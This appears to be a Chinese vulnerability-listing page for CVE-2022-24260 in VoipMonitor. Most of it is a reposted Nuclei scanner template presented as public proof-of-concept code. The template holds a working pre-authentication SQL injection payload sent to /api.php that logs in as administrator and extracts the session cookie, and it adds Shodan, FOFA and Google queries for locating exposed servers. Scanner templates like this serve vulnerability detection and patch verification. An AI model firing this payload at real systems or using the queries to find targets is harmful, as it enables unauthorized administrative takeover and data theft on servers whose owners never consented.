CVE-2022-24260: VoipMonitor - Pre-Auth SQL Injection

日期: 2025-08-01 | 影响软件: VoipMonitor | POC: 已公开

漏洞描述

A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.

PoC代码[已公开]

id: CVE-2022-24260

info:
  name: VoipMonitor - Pre-Auth SQL Injection
  author: gy741
  severity: critical
  description: A SQL injection vulnerability in Voipmonitor GUI before v24.96 allows attackers to escalate privileges to the Administrator level.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL injection vulnerability in the VoipMonitor application.
  reference:
    - https://kerbit.io/research/read/blog/3
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24260
    - https://www.voipmonitor.org/changelog-gui?major=5
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-24260
    cwe-id: CWE-89
    epss-score: 0.89745
    epss-percentile: 0.99543
    cpe: cpe:2.3:a:voipmonitor:voipmonitor:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: voipmonitor
    product: voipmonitor
    shodan-query:
      - http.title:"VoIPmonitor"
      - http.title:"voipmonitor"
    fofa-query: title="voipmonitor"
    google-query: intitle:"voipmonitor"
  tags: cve,cve2022,voipmonitor,sqli,unauth

http:
  - raw:
      - |
        POST /api.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        module=relogin&action=login&pass=nope&user=a' UNION SELECT 'admin','admin',null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null; #

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"success":true'
          - '_vm_version'
          - '_debug'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        kval:
          - PHPSESSID
# digest: 4b0a00483046022100f17c468c38b45b70711644a63e8721928ee9317dcedcdd4bfb59607b9b8c1b12022100eae65764638216e2bb11a36c49c0d61fc1caae84165e2153ad22bba4e0fec320:922c64590222798bb761d5b6d8e72950

相关漏洞推荐